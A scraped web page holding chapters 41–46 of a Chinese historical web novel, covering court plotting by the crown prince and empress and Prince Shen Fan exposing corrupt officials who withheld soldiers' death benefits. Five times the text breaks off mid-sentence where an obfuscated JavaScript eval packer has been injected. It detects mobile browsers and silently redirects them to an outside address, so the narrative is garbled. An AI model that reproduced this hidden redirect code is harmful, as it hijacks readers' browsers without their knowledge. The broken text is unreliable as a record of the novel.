赵锐道:“去了,不过父皇在陪着方士炼丹,只让儿臣在丹舍外叩了个头,就让儿臣回去了。” 听到这话,陈皇后的情绪明显低落了一下,可马上就恢复了常态,指着身边的王灵瑶道:“太子看看这是谁?” 第四十一章:太子驾到 一来赵锐注意力都在母后身上,二来王灵瑶穿着皇后赏得宫装,谨慎的站在那像个高级宫女,所以根本没引起赵锐的注意。 听到母后说‘看看这是谁’后,这才向王灵瑶看去,楞了下笑问道:“原来是巾帼将军,你是不是谢**了?” 王灵瑶忙双膝跪倒在地道:“臣拜见太子殿下。” “起来。”赵锐走过去,伸手虚扶了下道:“你的事本宫知道,既然做了我母后的义女,我们以后也算半个家人,不必如此多礼。” “臣谢过太子殿下。”王灵瑶站起身,由于过于激动,身子竟有些微微颤抖。 看在眼里的赵锐很满意,他喜欢臣子这样敬畏自己,况且这个臣子还是本朝第一位女将军。 “太子啊你来的正好,正好听听灵瑶身上发生的事,甚是有意思。”侧旁传来陈皇后的声音。 看到母后眉眼带笑的样子,赵锐不解的问:“何事让母后这么有兴致?” “你听着啊……”陈皇后道了句,就把沈凡和王灵瑶的事复述起来。 王灵瑶发现皇后娘娘说的时候,语气里带着几分市井中才有的调侃。 这明显是把自己的事当成了酒桌上的谈资,不由在心里升起几分不满。 再看太子殿下的反应就没有那般市井,含笑迎合着皇后的眉飞色舞,显色极有风度。 只有在听到郑天泽是安国公的孙子时,才看了自己一眼。 “太子啊,你说这事有没有意思,哈哈哈……”陈皇后讲完后笑问道。 “倒是件趣事。”赵锐应了声,看向面露尴尬的王灵瑶道:“这么说,你与安国公之孙已有了婚约?” “回禀殿下,是的,郑天泽说年后就来求婚。”王灵瑶回道。 “甚好。”赵锐道:“安国公是举朝皆知的老臣,更是唯一在世的开国元勋。 成婚后你要借着这层关系,多与那些元勋之后的内眷多亲多近。” 王灵瑶诧异地看向赵锐道:“臣,臣不太明白太子的意思?” 王灵瑶问这话是有理由的。 就算她与郑天泽成了婚,也只是郑家的孙媳妇,怎么会和其他勋贵之后的内眷多联系? 赵锐当然明白王灵瑶话里的意思,笑着道:“你若只是个臣子,当然不好跟她们交往。 可你如今是我母后的义女,多与那些勋贵的内宅交往,正好可以将我母后的隆恩带给她们。” 王玲瑶这下听明白了,原来太子是给了自己这么一个光荣使命,当即回道: “臣一定遵太子令行事,将皇后娘娘的关怀带给勋贵的内眷。” 赵锐哈哈笑道:“谈不上什么太子令,关怀罢了。” 说完便伺候起母后用膳来。 王灵瑶见状,知道自己是该离开了,便请求告退。 陈皇后道:“去吧,有空就递牌子进来,咱们娘俩多唠唠嗑。” 唠什么,拿我的事当市井谈资么……王灵瑶心里这么想,嘴上却恭敬的道了声是,又向太子躬身拜别。 没想到的是,太子殿下竟起身相送,把个王灵瑶激动得如痴如醉,这是多大的恩宠呀! 出宫的路上,王灵瑶感觉身子都是飘的。 她要将今天发生的事告诉父亲,告诉弟弟,告诉天泽…… “锐儿,为娘看你对这个王灵瑶格外上心,不是看上她了吧?” 掖庭宫里,王灵瑶前脚刚走,陈皇后就跟儿子唠起了知心话。 “母后您想哪去了?”赵锐笑道:“她是臣我是君,何况她已经许配给了安国公之孙。” “那你为何对她如此上心,还让她去替母后联络勋贵的内眷?”陈皇后问。 赵锐没有回答,看了看左右道:“你们都退下吧。” 大殿里的太监和宫女纷纷退了出去,只留下母子二人。 “母后,儿臣这么做确有目的。”赵锐压低了声音道:“近几年父皇一直在打压勋贵,虽说他们都是勋贵的后人,可依然是股不可小觑的势力。 儿臣找就想拉拢,只是碍于自己的身份和父皇忌惮一直未出手,如今正是个好机会。” 陈皇后豁然醒悟,笑道:“为娘明白了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315748|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吾儿是想用王灵瑶打着我的旗号为你拉拢勋贵,做你的牵线人,高啊!” 赵锐笑道:“儿子哪有母后高明,要不是当年母后提醒儿子,拉拢王灵瑶这个巾帼将军就能拉拢天下女子。 今日听到她又要做安国公的孙媳妇,儿子就借题发挥想出这个主意。” 对儿子的恭维,陈皇后很受用,喝了杯酒问道:“朝政插手的怎样了?” “除了户部外,儿臣已经将手伸到了各个部。”赵锐道。 陈皇后闻言皱眉道:“这个丹阳好好的公主不做,偏要插手朝政务。 她把那个新晋北凉王叫什么沈凡的弄到户部,是不是也有不可告人的目的?” 赵瑞轻蔑的一笑道:“据儿子所知,那个叫沈凡的不过是个废柴,不足为虑。 倒是丹阳这里如铁板般,儿子确难以插手,户部掌握天下钱粮,没有它儿子总觉得少了只臂膀,恰恰父皇还重用丹阳。” 陈皇后道:“可否借着丹阳为沈凡撑腰的事做文章?” 赵锐摇摇头道:“换别人还可以,换了丹阳在父皇那就是件小事。” 陈皇后的脸色阴沉下来道:“总要想个法子把她弄下来,不过母后一直没想出好办法。 几次找你父皇让给他给丹阳赐婚,你父皇又舍不得这个宝贝女儿,实在不行就……” 说到这时,陈皇后做了个抹脖子的动作。 看着这个野心极大,头脑却很简单的母后,赵锐只觉眼前一黑。 为了皇位,自己可以对这个不是一个娘肚子里爬出来的丹阳下手,可一定要慎重,要是被父皇知道了还了得! 想到这道:“可行是可行,但要慎重。 父皇对丹阳极宠爱信任,这几年他的疑心病又重,不密反而伤及自身。” “那你说该如何?”陈皇后问。 赵锐:“您不要操心了,儿子自有解决之法。” 陈皇后:“你上心就好是,要记住,别看你如今贵为太子,可根基依旧不稳。” 赵锐若有所思地点点头:“儿子明白。” 第四十二章:认主 伺候母后用完膳,赵锐就出了掖庭宫,半路换来心腹太监问:“陛下最近用丹怎样?” 老太监回道:“您放心,皇上对张天师言听计从,每日三颗,一日三顿不落。” 赵锐点头道:“告诉马遂,让他想个法子,把丹阳公主从户部尚书的位置上弄下去,本宫等不及了。” “老奴这就去。” 看着心腹太监远去,赵锐对远处等待的一干太监招手。 那些太监立刻抬着轿子跑过来,赵锐坐进轿子对一个太监道: “巾帼将军王灵瑶既成了皇后的义女,本宫不能没有表示。 传令,令王灵瑶可在府门悬挂‘巾帼将军府’匾。 赏丝绸百匹,银两千两,良田五百亩已示恩典。” …… 沈凡要抚恤的第一个阵亡者,是住在平安坊的参将张硕。 此坊算是京城较大的一处坊间,当沈凡一行人到达这里时,虽说寒风依旧刺骨,可街上还是行人不断。 有赶着毛驴拉货的,有小贩卖货的,有看相算命的。 街道两边的房屋鳞次栉比,茶楼、酒肆、肉铺、客栈坐落其间,井然有序。 张硕的家是座两进的小院,不大却也别致,符合他这个七品参将的身份。 沈凡在刘利和马卫的引领下来到院门口,就见门楣上挂着只白灯笼,高大的招魂幡在寒风中缓缓飘舞,给人以一种悲壮之感。 因为张硕家地势较高,沈凡还发现了一个现象。 就是附近不少人家也挂着招魂幡,就问刘利这是什么缘由? 刘利告诉沈凡,平安坊不少男子是张硕的本家,他们很多人都跟着张硕去了西北,自然也有不少回不来的。 这些挂着招魂幡的人家,大概都是那些死在西北的人。 沈凡举目四望道:“不对呀,目测这招魂幡没一百也有七八十,怎么我们抚恤的名单上才十五人?” 刘利道:“这些人不都是战死的。” 沈凡不解的问:“什么意思?” 刘利笑了笑道:“他们多是病死的,按我朝制病死的不算殉国,所以不在抚恤名单里。” 沈凡:“那他们就白**?” “不会,他们会得到一年的军饷补偿。” “那是多少钱?”沈凡又问。 刘利想了想道:“具体按官职不能一概而论,以军士而言月俸一两银子,一年十二两。” 少了些……就在沈凡暗自琢磨时,马卫已经将张硕家的院门扣开,向门房告知了来意。 当门房得知是一位王爷亲自来发抚恤金后,立刻跑进院中禀报。 与此同时,沈凡他们这队人马的到来,也引起了街坊邻居的注意。 有人听到了马卫和门房的话,纷纷奔走相告。 不一会儿的功夫,小院门口就围满了围观的百姓,都想看看怎么会有王爷来发抚恤金? 这时,小院中忽然响起一阵哭声。 一个身披重孝的妇人,一个同样身着重孝的少年,分左右搀扶着一个老者跌跌撞撞跑了出来,见到沈凡就叩头。 “这是干什么,快起来,快起来。”沈凡上前将他们扶了起来。 自己只是代表朝廷前来抚恤的,面对这些阵亡将士的家属,沈凡自认没理由受这样的大礼。 老者看向沈凡道:“我儿何德何能,竟能得到您这位王爷亲自前来抚恤,理应如此。” 听到这话,沈凡就猜到这老者不是一般人,扭头对负责保管抚恤银的王广道:“拿抚恤银来。” 王广从马褡子里取出八锭各一斤重的银子,用布包好递给沈凡。 沈凡将银子放到老者怀里道:“按朝廷的抚恤制,令郎应得抚恤银八十两,老人家请收好。” “八十两就是八斤……”老者抱着银子哽咽着道:“我儿张硕出生之时也是八斤!” 此言一出,扶着老者的那个妇人和少年哭得更厉害了。 “这两位是张参将的遗孀么?”沈凡问。 “是的。”老者应了声,面露坚强之色道:“敢问这位王爷,我儿是如何死的?” 面对这一问,沈凡现出了肃穆的神情,认为应该将张参将的事迹公之于众。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315749|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先是取出卷宗里记载张硕事迹的那页纸,然后回身对那些围观的百姓朗声道: “张参将在古塔一役中奋勇厮杀,身中无数箭矢,坐骑战死后步战不退,力竭而亡前仍催促属下杀敌。 战后寻得张参将尸骨,由于连日暴雪无法将尸骨运回,与其他将士一并就地焚化。 自骨灰中寻出的突厥人箭头三斤有余,堪称忠勇之士!” 沈凡在说到‘堪称忠勇之士’的时候,仿若就像身临其境一般。 语气中带着敬佩,中气十足,震得周围虚空都嗡嗡作响,浑身上下散发出一股英雄之气,将众百姓惊得不由自主都退后一步。 站在沈凡身后的徐盛、丁奉、王广、包括刘利和马卫也没想到,这位小王爷竟有如此英武之气,也被震得身子一抖。 那老者亦是如此,老泪横流对沈凡施礼道:“这位王爷,敢问尊姓大名,小老儿以后逢年过节必率全家为您祈福。” 沈凡道:“老人家不必多礼,我姓沈名凡,虽然**了父辈的北凉王爵位,但跟您儿子是比不了的。 我等所有人的福祉,皆来自您儿子这样的英……” “等等。”老者突然打断了沈凡的话道:“您说您是北凉王?” “是的。”沈凡有些诧异的道:“您认识我?” 老者不答,反而又问道:“您的父亲可是已故的沈克用老王爷?” 沈凡道:“不错,正是先父。” “哗啦啦……”随着老者怀里的银锭掉落在地上,沈凡看到他已再次跪在地上激动的道: “小老儿代儿子张硕,谢小主子的抚恤之恩!” 说着又回身看向那妇人和少年叫道:“还不赶快过来,大礼见过你夫君的和你父亲的小主子。” 那妇人和少年忙跪在老者身边,对着沈凡就是一阵扣头。 “等等,等等,老人家你说的小主子是何意?”沈凡更加诧异的问。 “原来您不知道啊。”老者道:“我儿在十年前是老北凉王的亲兵,老王爷是我儿的老主子,您自然就是我儿的小主子。” 第四十三章:信中玄机 面对老者替儿子认主,沈凡楞住了。 为了验明老者的话,他对也曾做过父王亲兵的丁奉和徐盛道:“你们知道这事吗?” 丁奉在和徐盛对视一眼后道:“老王爷当年身边的亲兵有五百人之多,我们也不都认识。” 老者道:“我儿叫张硕,弓长张,硕果累累的硕,是老王爷在平定琼州时的亲兵。” 丁奉面露为难道:“老人家实在对不住,我们没有跟随老王爷打那一仗,实在想不起有你儿子这个人。” 这时老者像是想起了什么,叫道:“小老儿有凭证,王爷您稍等,我这就去取。” 说完就踉踉跄跄跑进了屋。 等待的过程中,沈凡看到围观的百姓是越来越多了,有人甚者都骑在了墙头上。 这时就见那老者抱着一个木匣回来了,边在里面翻找边气喘吁吁的道: “王爷您别急,我儿至今还留着当年老王爷给他的亲兵腰牌。” 沈凡看到木盒里的物品很杂,有书信,一把小**,还有铜钱钥匙等物。 一阵翻找后,老者终于找到一块半个手掌大的铜牌,举着叫道:“找到了找到了,王爷请看。” 沈凡接过,看到铜牌一面刻着虎头,另一面刻有字,上书北凉王亲卫张硕几字。 虽说父王在京城时不再需要那么多亲兵,但还是有些的,所以沈凡见过这样的腰牌。 又通过丁奉和徐盛的验看,更加确认无疑后,沈凡拉着老者的手感慨的道: “没想到张参将竟是我父王的部下,真乃缘分呐!” “是的是的。”老者道:“我儿出征期间还给家里来过两封信,都提到了当年老王爷对他的教诲。 还说回来后给老王爷打造灵牌祭奠,没想到,没想到他也回不来了,呜呜呜……” “老人家节哀。”沈凡边安慰边问道:“信在哪,我能看看么?” “能能,在这。”老者捧着木盒道。 沈凡取出里面的那两封信,展开后看到,每封信都提到了父王。 虽是寥寥几句,但说的都是父王勉励过他要奋勇杀敌,忠君报国的话。 这些话沈凡也曾经听父王说过,特别是这句‘愿得此身长报国,何须生入玉门关’,更是父王经常借用的诗句。 沈凡的阅读力很强,快速浏览着信里的其它内容。 有让媳妇照顾好父亲和儿子的话,还有提到了西北的战事。 说朝廷的军队与突厥的对峙中有胜有负,还处在相持中。 还说今年西北的天气古怪,整整一冬都没下雪,气候干冷导致伤寒流行,不少军士没有死在阵前却死在了伤寒上。 沈凡眼中光芒一闪,不对呀,宗卷里不是说西北下暴雪了么? 这时,信上又有一段话引起了他的注意。 ……伤寒盛行之际,西北道刺史周康却无法及时提供救治的药物,军士们都传是他贪墨了这些药。 加上隶属自己这一卫的将军王灵瑶和郑天泽毫不体属下,战时强令生病军士杀敌,造成了更多军士的病亡。 看到这沈凡嘴角微微一动。 通过这两年与户部的接触,他对西北军情还是了解的。 在此次对突厥之战中,朝廷共出动了三个卫的军队,每卫有近四万将士,王灵瑶就在其中一卫任最高长官。 通过信里的话来看,郑天泽与王灵瑶同在一卫。 让沈凡没想到的是,曾对自己说过爱兵如子的王灵瑶,用兵竟如此之狠! 俗话说皇帝都不差饿兵,她竟然把受伤寒的军士往战场上推,以前怎么没发现她的功利心竟这么重? “老人家,你能不能把这两封信给我呀?”沈凡问道。 “王爷,您要它做甚?”老者不解的问。 “没什么,留个念想而已。”沈凡含糊的答道。 他自不能跟老者说,自己会拿这两封信去查西北到底下雪了么,去查王灵瑶是否如此带兵? 老者犹豫了下道:“您尽管拿走,只是小老儿有件事想恳请王爷,不知王爷能否应允?” “什么事您说。”沈凡道。 就见老者把那个带重孝的少年拉到身边道:“这是我的孙子叫张峰,今年满十六岁,平日里不喜读书,就喜欢舞枪弄棒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315750|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小老儿有个不情之请,就是想请王爷收下他,哪怕是在王府中当个下人,也算是了却我儿对老王爷的一片忠心。” 其实不待老者说完,沈凡就猜到了老者的意图。 暗道这老头儿还挺精明,知道借机让孙子巴结自己这个王爷。 不过话又说回来,沈凡也中意这种子一辈父一辈的关系,看向老者的孙子道:“你可愿意到我府上来?” 别看张峰只是个少年,可心性却很成熟,对着沈凡躬身施礼道:“小的愿意跟随王爷。” 看着张峰干练的样子,沈凡笑道:“好,本王就收了你,不过下人就不要做了,做本王的一名亲随护卫如何?” 听到这话,张峰懂事的跪地叩头道:“小人愿继承先父衣钵,誓死效忠王爷!” 沈凡看向徐盛道:“这孩子就交给你了,由你教他武艺如何?” “请王爷放心。”徐盛忙应道。 张峰见状立刻又对着徐盛叩拜道:“见过师父。” 与沈凡一样,徐盛也很喜欢这个懂事的孩子,伸手相扶道:“快起来,你要记住,我们都是王爷的人就好。” “王爷,您怎么不把这孩子交给我,我也能当他的师父。”这时一旁的丁奉突然问道,脸上明显带着妒意。 沈凡微微一笑道:“你的性子比徐盛急,等你把心性磨好了,本王在给你找徒弟也不迟。” 丁奉下意识瞪眼道:“我性子急吗?” 沈凡:“这还不急吗?” 徐盛笑道:“王爷说的没错,你看你现在就急了。” “这……”丁奉不好意思的笑了。 一时间气氛十分融洽,即便那老者和张硕的媳妇还在悲伤中,此刻脸上也现出了笑意。 只是沈凡他们没有注意到的是,不远处的王广眼中现出了羡慕之色。 他没想到,堂堂一个王爷竟与下属处得如此和睦,没有一点儿高高在上的样子。 正这时,院外突然传来一声女子的叫喊:“王爷呀,请您替奴家做主!” 这一嗓子来得实在突兀,把沈凡众人都吓了一跳。 第四十四章:狗官 众人闻声看去,但见一个妇人抱住着一个女孩从人群里挤出来。 女孩儿有五六岁,身体瘦弱,衣服单薄,穿着一双破烂的棉鞋,把头藏在母亲破烂的衣衫里,只露一双眼睛惊恐地看向周围。 那女孩的母亲看上去更瘦弱,细细细的脖子顶着皮包骨的脑袋,因为缺少营养头发都发黄了,让人很难相信那一嗓子是她喊出来的。 “什么人这么大胆,瞎吵吵什么,没看官府正在办差吗,退下!” 不待沈凡说话,刘利瞪着凶狠的眼睛突然暴喝道,把妇人怀里的小女孩吓哭了,那妇人更是被吓得险些昏厥。 “这里轮到你说话了吗,退下!”见此情景的沈凡将刘利喝退,走到妇人身前道:“不要怕,你是什么人,何事找我做主?” 沈凡问这些话时面目和善,加之王爷身份的加持,让那妇人又有了勇气,拉着女儿跪在地上道: “王爷呀……大贵人……奴家姓娄,夫君叫吕大柱,也是却了西北打仗的军人。 我夫君命不好,没有在战场上杀敌立功,还病死在了那。 按朝廷制度,我家应得大柱一年的军饷十二两银子做为补偿,可一晃都过了三个月了,奴家却只收到三两银子。” 妇人说到这时,把小女孩推到沈凡身前道:“你看看我孩子现在是穿不暖吃不饱,奴家想求王爷把剩下的银子给我,不然我们都得被饿死!” 沈凡吃了一惊,记得早上到兵部时,自己还问过病死军士补偿的事,刘利和马卫说请自己放心, 本以为这个差事他们应该能办好,没想到会出现这样的事。 就在沈凡刚要询问刘利和马卫原因时,围观的百姓中忽然传出一阵喧哗。 “王爷她说的没错,我夫君也是病死在了西北,到现在也只发了三两银子。” “你发了三两,可我家才给发了二两。” “王爷,我儿子也病死在了西北,他们也只给了我们二两银子。” “我儿子也是病死在了西北,当时就是这个官差说过几日再给,可过了两个多月还是没有。”一个老者指着刘利道。 “我夫君也是……” “我哥也是……” 随着喧哗声越来越大,沈凡忙挥手示意众人安静,高声道:“不要在人堆里说,有此情形的都站出来。” 可让沈凡没想到的是,这话说出来后人群是安静了,却没一个人敢站出来。 其中有几个刚才说话的人,都在用惊恐的眼神看向一个方向。 沈凡顺着他们的眼神看去,看到了侧旁面目狰狞的刘利和马卫。 刘利和马卫也发现沈凡在看自己,忙都低下了头。 沈凡眉头微微一皱,却并没有发作,而是看向众百姓道: “你们不要怕,有本王给你们做主,让你们站出来是为了记下你们的名字,到时错过了补发可别后悔。” 要说还是这话管用,一个怀里抱着婴儿的妇人,从人群里挤了出来道:“小女子是一个。” “我也是。”一个三十多岁的汉子也站出来道。 “老夫也是。”又一个老汉从人群里走出来。 “我也是……我也是……” 在这几个人的带领下,陆续又有人从人群里走出来。 从开始的稀稀落落到后面的一个接一个,不一会儿的功夫竟**了五六十人之多。 沈凡看向王广道:“你能帮我登记么?” 王广道:“小人愿意效劳。” 说完就跟张硕父亲要来纸笔,给站出来的人登记造册。 沈凡发现有不少人跑出了院子,说是告诉那些不知此事的病亡军士的家人,看来人数还会增加。 “刘大人,你能说说这是怎么回事么?”沈凡看向刘利问道。 刘利眼中闪过一丝慌乱,可马上就镇定下来道:“王爷,有些事您不知道,户部拨给兵部的银子是分批拨付的。 因为病故的军士太多,兵部会先紧着发阵亡将士的抚恤金,所以对这些病亡军士的补偿只能先发一部分。” 沈凡对刘利所说的真伪无法辨别,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315751|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为卷宗里并没有写病亡军士的情况,看向马卫又问:“是这样吗?” 马卫道:“是这样的,我们想的是等户部再拨下银子,就马上给这些人发放。” 话音刚落,那五六十个病亡军属中就有人喊道: “你们说的是什么鬼话,上一次给我们银子是在两个月前,这么长时日过去了还想拖!” “是啊,这可是我夫君卖命的钱,你们哪能这样做?” “没错,我们还指着这些银子过活呢!” 面对众多指责,刘利立刻就恢复了刚才的嚣张,单手叉腰,另一只手点指着众人道: “你们这些大胆刁民,没听到刚才本官都已经向王爷解释了么,再敢胡搅蛮缠,就把你们统统都抓了入牢!” 别看刘利是个矮胖子,此刻却是官威十足,特别是那双死鱼眼向外凸着,看上去十分凶狠。 自古都是民怕官,更何况是遇到刘利这样的恶官,刚才还叫喊的百姓一下都哑了火,娄氏怀里那个小女孩更是吓得嚎啕大哭。 “别哭,别哭。”沈凡忙从怀里取出一个油布包,打开后将里面的桂花糕给了她。 这是水仙给自己准备的零食,正好现在派上用场。 果然,有了桂花糕的小女孩不哭了,如狼似虎啃食起来。 小丫头很懂事,还不忘给了母亲一块,娄氏也是饿坏了,一口就塞进了嘴里。 这一幕都被众百姓看在眼里,看向沈凡的眼神更加柔和,都希望这位年轻的王爷能给他们做主。 而沈凡却没有向这些百姓做任何承诺,毕竟自己对这事不了解,他要先了解情况才能决断,再次看向刘利道: “本王问你,整个京城病死的将士有多少?” 刘利没想到沈凡会问这事,楞了下后才道:“这个……小人记不太清了。” 虽然刘利看上去依然很镇定,可沈凡还是敏锐地捕捉到了他飘忽不定的眼神,微微颤抖的声音,确定他一定在逃避什么? 狗官,既然你露了马脚,就休怪我无情了! 第四十五章:快去喊人 沈凡想到了早上到兵部时,刘利对自己的敷衍,想到了他刚才对百姓嚣张跋扈的样子。 看了看瘦骨嶙嶙的娄氏母女,又望向脑满肠肥的刘利,一股火气自胸腹猛然腾起,冷笑一声道: “刘大人,你拿本王当三岁孩童么? 身为兵部主办此事的官员,你能不知道病死的将士有多少人?” 刘利明显还意识到事态的严重,依旧在表演,将两只肥手一摊,做出委屈的样子道: “王爷,小人真的不知道呀,您知道小人这一天有多少公务需要处……” “不要说了。”沈凡打断了他道:“看来只有棍棒才能让你知道……丁奉、徐盛把他给本王拿了,先打上二十棍在说。” “是。”丁奉和徐盛痛快的应了声。 他俩自早上跟王爷到了兵部,就对刘利慢待王爷心存不满,见王爷终于发了飙自是兴奋,一拥而上把刘利摁倒在地。 刘利起初还不相信沈凡真敢打自己,毕竟沈凡只是来兵部临时办差的户部官员。 可当看到自己的裤子被剥掉,徐盛抄起张家的扁担时,这才意识到是真打,顿时吓得魂飞天外,忙叫道: “王爷你不能这样,你不能这样,我是兵部的人,你没有权利打我!” 沈凡道:“本王是奉旨来兵部办差,差事没办完前就有权管束你。 告诉你,本王已经忍你很久了……丁奉你们还等什么,给我打!” 随着沈凡话音落下,徐盛就举起扁担重重打在刘利的屁股上。 力道之大看得众人齐齐变色,声音之脆听得众人齐齐吸气。 “王爷你不能这样儿,王爷你怎么敢……哎呀……王爷饶命饶命啊……” 刘利挨了两扁担后还试图威胁沈凡,可在又挨了几下后就开始求饶。 他终于明白了,这个看起来十分斯文的年轻人不是王爷,而是阎王爷, 再不求饶小命儿就没了。 可沈凡根本就不理会,站在那背着手望天,就像什么也没发生般。 被吓傻了的马卫这时才反应过来,为了救刘利,他上前一把抓住沈凡的衣袖叫道: “王爷你不能这样,你不能无故殴打朝廷命官!” 沈凡眼中闪过厌恶之色道:“你也敢拦我?” 言罢将手臂一抖,想甩开马卫的纠缠。 没想到这货看着臃肿力量却不小,一下竟没挣脱。 沈凡也不废话,直接使出擒拿术,将马卫的手反背过去,顺势一脚踹向他的腰眼。 这一脚力道不小,将胖硕的马卫踹得双脚离地,“扑通”一声砸在地上。 疼得他一时爬不起来,看向王广和另一个兵部的军士叫道:“你们还愣着干什么,还不快保护我和刘大人。” “本王看你们谁敢?”沈凡看向王广和那名军士厉声道。 看着站在寒风中的这位北凉王,兵部的那个军士早就吓坏了,站在那一动不敢动。 有意思的是王广不但没动,反而还对沈凡拱手道:“王爷放心,小人绝不动,且小人有关于与刘大人和马大人的事向您禀报。” 沈凡面无表情的看向他道:“说。” 王广道:“刚才大人和马大人私下说话的时候,小人听到了只言片语。 他们说您来兵部办差只是走过场,说奉了上峰的命令要给您使绊子,还说您长得油头粉面,一看就是个养尊处优的公子哥儿,所以好糊弄。” “王广,你特么胡说八道!”听到这话的马卫冲王广骂道。 “这不是胡说八道,我只是向北凉王如实禀告。”王广凛然道:“看看这些因无抚银挨饿的军属,在看看你们这些尸位裹餐之徒,我早就忍不了了!” 沈凡用赞许的目光看看王广,回身问马卫:“说,你们说的上峰是谁?” 就在这时,侧旁再次传来了刘利的惨叫声,其中还夹杂着一句:“老马快走,去喊人!” 闻听此言马卫豁然醒悟,一下子从地上爬了起来,撒腿就往旁边的院跑去。 别看他胖,身上倒有些功夫,竟在眨眼睛就翻过了院墙。 因事发突然,在场的所有人都被这场面弄得不知所措,怎么也想不到一个堂堂七品官会突然翻墙。 只有沈凡反应最快,一哈腰就追了过去。 跑到院墙下纵身一跃,伸手抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315752|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院顶端,随后身子往上一甩,直接将自己甩到了院墙上观望。 就见马卫已经冲出了外面的人群,顺着街道一路狂跑,圆滚滚的背影仿若一头逃亡的野猪。 沈凡双腿在墙上一蹬,身形在半空来了个前翻的同时,还不忘喊了句:“看好刘利。” 随即人已是落在了墙外一丈远,冲着马卫消失的方向就追。 正这时,沈凡察觉到身边多了个人,扭头看去,不是别人正是王广。 “你来干什么?” 王广紧紧跟随着沈凡道:“小人是来帮王爷的。” “你是兵部的人,不怕吗?”沈凡问。 王广想都没想的道:“小人不是兵部的人,小人是朝廷的人,王爷您是朝廷派来的,小人就应该助您。” 看着这个颇有正义感的王广,沈凡道:“马卫应该是去兵部报信了,你现在去兵部,如果我追不到你就截住他。” “小人遵命,您也小心。” 王广说了句,翻过身边的一堵坊墙抄近路去往兵部,从身法上看功夫不弱。 另一边,张家小院内。 丁奉对徐盛道:“你看着刘利,某家去帮小王爷”,说着就翻上了墙头。 看着丁奉消失的背影,徐盛喊道:“一定要保护好小王爷!” 等他回头查看张利时不由就是一愣,然后就笑了。 原来是张峰这孩子,不知何时把家里的菜刀拿了出来,抵在张利的脖子上,已然进入了王爷护卫的角色。 其实张利这时根本不用看着,他的肥锭已然被打得血肉模糊,就是让他跑也跑不动了。 徐盛满意地对张峰点点头,取出绳索捆了张利,对那些围观的百姓道:“大家都不要围着了,散了散了。” 众百姓怎么也没想到,能看到这么一出好戏,自然不肯散去,依旧围在院门口。 那五六十个病亡军士的家属更没有离开,都在等着看事情的进展。 只是徐盛没有留意到,跟着他们一起来的另一个兵部军士,此时已是悄悄离开了此地。 徐盛更没有发觉的是,在围观的百姓中,一个女子也刚刚离开了这里…… 第四十六章:突如其来的变化 人头攒动的街道上,沈凡全力奔跑着,眼睛紧盯着前方那个狂跑的身影。 他已经确定,在发放病亡军士饷银的事上,刘利和马卫一定有事瞒着自己,他们都是重要的人证。 虽然已经抓住了刘利,但也绝不能让这个马卫跑掉。 此刻,马卫也已经发现了紧追不舍的沈凡。 一想到刘利被打得皮开肉绽血的屁股,他就不寒而栗。 这更激发了他逃跑的念头,咬紧牙关两条腿持续发力,试图甩掉沈凡。 可他想不到的是,沈凡的腿脚会这么好,就算自己累得呼吸沉重,胸口像风箱一样发出呼噜呼噜的声响,还是无法摆脱对方。 妈的,王爷不都是养尊处优吗,这小子咋这么能跑? 眼看沈凡离自己越来越近,马卫知道这样下去肯定会被追上,可自己这两条腿怎么就这么不争气! 